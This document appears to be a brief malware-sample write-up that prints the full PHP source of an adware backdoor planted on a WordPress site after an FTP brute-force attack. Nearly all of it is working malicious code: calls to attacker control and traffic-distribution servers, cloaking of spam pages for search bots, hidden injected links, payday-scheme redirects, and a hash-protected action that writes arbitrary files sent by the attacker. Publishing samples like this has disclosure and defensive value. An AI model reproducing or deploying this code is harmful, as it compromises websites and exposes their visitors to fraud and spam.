Adware Backdoor infecting Wordpress

Information

The below php code was uploaded into a weak WordPress installation, using a FTP bruteforce attack and it was executed by cron thousands of times per day in order to generate and create adware content in the /uploads folder.

Wordpress Site

Code

<?php

$page_param = 'page';
$cat_param = 'category';
$selfLinksCloakMin = 10;
$selfLinksCloakMax = 20;

error_reporting(0);
$site_url = "http://www.website-XXX.com/index.php";
$cache_path = "/home/website-XXX/www/wp-content/uploads/";
if (substr($cache_path, -1) == '/') {
$cache_path = substr($cache_path, 0, -1);
}

function get_server_url () {
$server_urls = array('http://securesslprovider.wha.la', 'http://securesslprovider42.wha.la');
foreach ($server_urls as $url) {
$server_url = $url . '/api';
$test_url = $server_url . '/test.php';
if (stristr(get($test_url), 'api works') !== false) {
return $server_url;
}
}
}

if (!isset($_GET['dontt1'])) {
$referer = (isset($_SERVER['HTTP_REFERER']) AND strlen($_SERVER['HTTP_REFERER']) > 0) ? $_SERVER['HTTP_REFERER'] : '';
if ((strpos($referer, "q=site%3A") || strpos($referer, "q=inurl%3A")) && $uri != "/") {
header("HTTP/1.0 404 Not Found");
exit;
}
$hash = "a619d974658f3e749b2d88b215baea46";
$site_url = "http://www.website-XXX.com/index.php";
$uri = $_SERVER['REQUEST_URI'];

if (isset($_REQUEST['test'])) {
die('test ok');
}

if (isset($_REQUEST['http_test'])) {
$page = get('http://securesslprovider.wha.la/api/http_test.php');
if (strpos($page, 'good response') !== false) {
die('http test ok');
} else {
die('http test failed' . $page);
}
}
$tds_domains = array('http://graycrew.org', 'http://graycrew42.dynssl.com');
$redirect_url = false;
$ua = urlencode($_SERVER['HTTP_USER_AGENT']);
$ip = get_ip();
$source = urlencode($_SERVER['HTTP_HOST']);
$keyword = get_current_keyword();
$scheme = 'payday_us_iframe';
$apikey = '9875d7f08a2a4bfbfccd0b00f660ce47';
$action = false;
$bot = false;
if (stripos($referer,'?page=') || stripos($referer,'?categody='))
{
$tmp = parse_url($referer);
if (isset($tmp['host']))
{
$tmp['host'] = strtolower($tmp['host']);
$tmp['host'] = str_replace('www.','',$tmp['host']);

$this_host = strtolower($_SERVER['HTTP_HOST']);
$this_host = str_replace('www.','',$this_host);

if ($tmp['host'] != $this_host) $action = '404';
}
}

if ($action === false && stripos($ua, 'Googlebot') !== false)
{
$bot = true;
}

if ($action === false && $bot === false) {
foreach ($tds_domains as $tds_domain) {
$churl = "{$tds_domain}/suspended/api.php?action=get_link&api_key=$apikey&group=$scheme&ua=$ua&ip=$ip&source=$source&referer=$referer";
if ($keyword) {
$churl .= '&keyword=' . $keyword;
}
if (stristr($ua, 'Googlebot') !== false OR stristr($ua, '20422979') !== false) {
$churl .= '&dummy=1';
}
$page = get($churl);
if (stristr($page, 'bot detected') !== false) {
$bot = true;
break;
}
if (stristr($page, 'show 404') !== false) {
$action = '404';
break;
}
if (stristr($page, 'stream') !== false) {
$json = json_decode($page);
$url = $json->{'stream'}->{'url'};
if (url_valid($url)) {
$action = 'redirect';
$redirect_url = $url;
break;
}
}
}
}

if (isset($_REQUEST['mcf'])) {
$x = "/home/website-XXX/www/wp-content/uploads/";
if (file_exists($x)) {
die('cache folder exists');
}
$arr = explode("/", $x);
unset($str, $arr2, $arr[count($arr) - 1]);
foreach ($arr as $val) {
$str .= $val . "/";
$arr2[] = $str;
}
$res = true;
foreach ($arr2 as $val) {
if (!is_dir($val))
if (!mkdir($val))
$res = false;
}
if ($res) {
die('cache folder exists');
}
die('cache folder fail');
}

# saving data
if (isset($_POST['do'])) {
$do = $_POST['do'];
if ($_POST['hash'] == $hash) {

if ($do == "keys")
{
if (is_file($cache_path . '/sdf')) unlink($cache_path . '/sdf');

$keysData = $_POST['data'];
if (xPut("{$cache_path}/data.xml", $keysData)) {
echo "result: keys ok";
} else {
echo "result: keys false";
}
$selfLinks = "";
$base = array();
$handle = @fopen("{$cache_path}/data.xml", "r");
if ($handle) {
while (($buffer = fgets($handle, 4096)) !== false) {
$base[] = $buffer;
}
if (!feof($handle)) {
echo "Error: unexpected fgets() fail\n";
}
fclose($handle);
}
$pages = array();
foreach ($base as $v) {
list ($id, $genProfile, $key) = explode("@", $v);
$key = base64_decode($key);
$pages[] = array("id" => $id, "key" => $key, "genProfile" => $genProfile);
}
$selfLinks = "";
$pages_count = count($pages);
for ($i = 1; $i <= intval($pages_count / 30); $i++) {
$selfLinks .= "<a href='$site_url?$cat_param=" . $i . "'>$i</a>|";
}
$selfLinksCloakCount = rand($selfLinksCloakMin, $selfLinksCloakMax);
for ($i = 0; $i < $selfLinksCloakCount; $i++) {
$tmpLink = $pages[rand(0, count($pages) - 1)];
$tmpLinkKey = $tmpLink['key'];
$tmpLinkID = $tmpLink['id'];
$url_key = url_encode($tmpLinkKey);
$selfLinks .= "<a href='$site_url?$page_param=$url_key'>$tmpLinkKey</a> ";
}
xPut("{$cache_path}/sl.xml", $selfLinks);
}
if ($do == "file") {
if (xPut($_POST['name'], base64_decode($_POST['content']))) {
echo "ok";
} else {
echo "failed";
}
}
}
die();
}
$page_id = (isset($_GET['page'])) ? $_GET['page'] : false;
$cat_id = (isset($_GET['category'])) ? $_GET['category'] : false;
$d_url = substr($site_url, 0, strrpos($site_url, "/")) . "//home/website-XXX/www/wp-content/uploads/" . "/x.php";
if ($bot) {
if (count($_GET) == 1 AND ($page_id != false || $cat_id != false))
{
$gen_url = get_server_url() . "/gen.php?page_id=".urlencode($page_id)."&cat_id=".urlencode($cat_id)."&host={$_SERVER['HTTP_HOST']}&key=".md5($site_url);

$md5_gen_url = md5($gen_url);

if (is_file($cache_path . '/' . $md5_gen_url))
{
echo ext_links($cache_path . '/' . $md5_gen_url);
exit;
}
else
{
$page = get($gen_url);
if (strlen($page) > 100)
{
xPut($cache_path . '/' . $md5_gen_url, $page);
echo ext_links_first($page);
exit;
}
}

}
else
{
$links = xGet("{$cache_path}/sl.xml");
$links = '<div style="position: absolute; left: -19' . rand(63, 70) . 'px; top: -29' . rand(88, 99) . 'px;">' . $links . '</div>';
if (strpos($_SERVER['REQUEST_URI'], "?"))
$originalurl = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER['REQUEST_URI'] . "&dontt1=true";
else
$originalurl = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER['REQUEST_URI'] . "?dontt1=true";
$page = get($originalurl);
$center = intval(strlen($page) / 2);
$injpos = 0;
$tags = array('</p>', '</div>', '</table>');
foreach ($tags as $tag) {
$tagpos = strpos(strtolower($page), $tag, $center);
if ($tagpos) {
$injpos = $tagpos + strlen($tag);
break;
}
}
if ($injpos)
$page = substr($page, 0, $injpos) . $links . substr($page, $injpos);
else
$page = preg_replace('/(<body>)/i', "$1\r\n$links", $page, 1);
print $page;
exit;
}
} elseif ((count($_GET) == 1 && $keyword) OR ($cat_id != false AND intval($cat_id) > 0 AND intval($cat_id) < 100)) {
if ($action == 'redirect') {
die('<frameset cols="100%"><frame src="' . $redirect_url . '"></frameset>');
} elseif ($action == '404') {
header("HTTP/1.0 404 Not Found");
exit;
}
}
}

function get_ip() {
$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = $_SERVER['REMOTE_ADDR'];
if (filter_var($client, FILTER_VALIDATE_IP)) {
$ip = $client;
} elseif (filter_var($forward, FILTER_VALIDATE_IP)) {
$ip = $forward;
} else {
$ip = $remote;
}
return $ip;
}

function get_current_keyword() {
global $cache_path;
if (isset($_GET['page'])) {
$request_key = url_decode($_GET['page']);
$base = array();
$handle = @fopen("{$cache_path}/data.xml", "r");
if ($handle) {
while (($buffer = fgets($handle, 4096)) !== false) {
$base[] = $buffer;
}
if (!feof($handle)) {
return false;
}
fclose($handle);
}
foreach ($base as $v) {
list ($id, $genProfile, $key) = explode("@", $v);
$key = base64_decode($key);
if ($key == $request_key) {
return urlencode($request_key);
}
}
}
return false;
}
function ext_links_first($page)
{
$pos = strpos($page,'<!--k45PydJLBF-->');
if (!$pos) return $page;

list($page,$ext_links) = explode('<!--k45PydJLBF-->',$page);
return $page;
}

function ext_links($page_path)
{
$page = xGet($page_path);

$pos = strpos($page,'<!--k45PydJLBF-->');
if (!$pos) return $page;

list($page,$ext_links) = explode('<!--k45PydJLBF-->',$page);

$time = time();
$filemtime = filemtime($page_path);
$need_check = (($time - $filemtime) > 60 * 60 * 24) ? 1 : 0;

//check time
if (!$need_check)
{
return $page;
}
preg_match_all('!(<a .*?)\|\|\|(\d+)!',$ext_links,$matches,PREG_SET_ORDER);

$ids = array();
foreach ($matches as $match)
{
$ids[] = $match[2];
}

$ids = array_unique($ids);

$gen_url = get_server_url() . "/check_ids.php?ids=".implode(',',$ids);
$reply = get($gen_url);
$bad_ids = explode(',',$reply);

$new_block = '';
foreach ($matches as $match)
{
if (in_array($match[2],$bad_ids))
{
$page = str_replace($match[1],'',$page);
continue;
}
$new_block .= $match[0]."\n";
}

if (empty($new_block))
{
xPut($page_path,$page);
}
else
{
xPut($page_path,$page . '<!--k45PydJLBF-->' . $new_block);
}

return $page;
}
function url_valid($url) {
if (function_exists('filter_var') AND filter_var($url, FILTER_VALIDATE_URL)) {
return true;
} else {
$pattern = '/^(?:[;\/?:@&=+$,]|(?:[^\W_]|[-_.!~*\()\[\] ])|(?:%[\da-fA-F]{2}))*$/';
if (preg_match($pattern, $url) == 1) {
return true;
}
}
return false;
}

function get($url, $methods = array('fopen', 'curl', 'socket')) {
if (gettype($methods) == 'string')
$methods = array($methods);
elseif (!is_array($methods))
return false;
foreach ($methods as $method) {
switch ($method) {
case 'fopen':
if (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
$contents = @file_get_contents($url);
if ($contents !== false)
return $contents;
}
break;
case 'curl':
if (function_exists('curl_init')) {
$options = array(
CURLOPT_CUSTOMREQUEST => "GET",
CURLOPT_POST => false,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1; rv:8.0) Gecko/20100101 Firefox/8.0',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => false,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_ENCODING => "",
CURLOPT_AUTOREFERER => true,
CURLOPT_CONNECTTIMEOUT => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_MAXREDIRS => 10,
);
$ch = curl_init($url);
curl_setopt_array($ch, $options);
$content = curl_exec($ch);
$err = curl_errno($ch);
$errmsg = curl_error($ch);
$header = curl_getinfo($ch);
curl_close($ch);
if ($content && strlen($content) > 10) {
return $content;
}
}
break;
case 'socket':
if (strpos($url, 'http://') !== 0 && strpos($url, 'https://') !== 0)
$url = 'http://' . $url;
$parts = parse_url($url);
if ($parts['scheme'] == 'https') {
$target = 'ssl://' . $parts['host'];
$port = isset($parts['port']) ? $parts['port'] : 443;
} else {
$target = $parts['host'];
$port = isset($parts['port']) ? $parts['port'] : 80;
}
$page = isset($parts['cache_path']) ? $parts['cache_path'] : '';
$page .= isset($parts['query']) ? '?' . $parts['query'] : '';
$page .= isset($parts['fragment']) ? '#' . $parts['fragment'] : '';
$page = ($page == '') ? '/' : $page;
if ($fp = fsockopen($target, $port, $errno, $errstr, 15)) {
$headers = "GET $page HTTP/1.1\r\n";
$headers .= "Host: {$parts['host']}\r\n";
$headers .= "Connection: Close\r\n\r\n";
if (fwrite($fp, $headers)) {
$resp = '';
while (!feof($fp) && ($curr = fgets($fp, 128)) !== false)
$resp .= $curr;
if (isset($curr) && $curr !== false)
return substr(strstr($resp, "\r\n\r\n"), 3);
}
fclose($fp);
}
break;
}
}
return false;
}

function xPut($file, $content) {
if (!is_writable(dirname($file))) {
print " {$file} not writible ";
return false;
}
if (function_exists("file_put_contents")) {
return file_put_contents($file, $content);
} else {
$f = fopen($file, "w");
$done = false;
if (fputs($f, $content)) {
$done = true;
}
fclose($f);
return $done;
}
}

function xGet($file) {
if (function_exists("file_get_contents")) {
return file_get_contents($file);
} else {
$f = fopen($file, "r");
$contents = fread($f, filesize($file));
return $contents;
}
}

function url_encode($key) {
$url = urlencode($key);
$url = str_replace('+', '-', $url);
return $url;
}

function url_decode($key) {
$url = urldecode($key);
$url = str_replace('-', ' ', $url);
return $url;
}
Back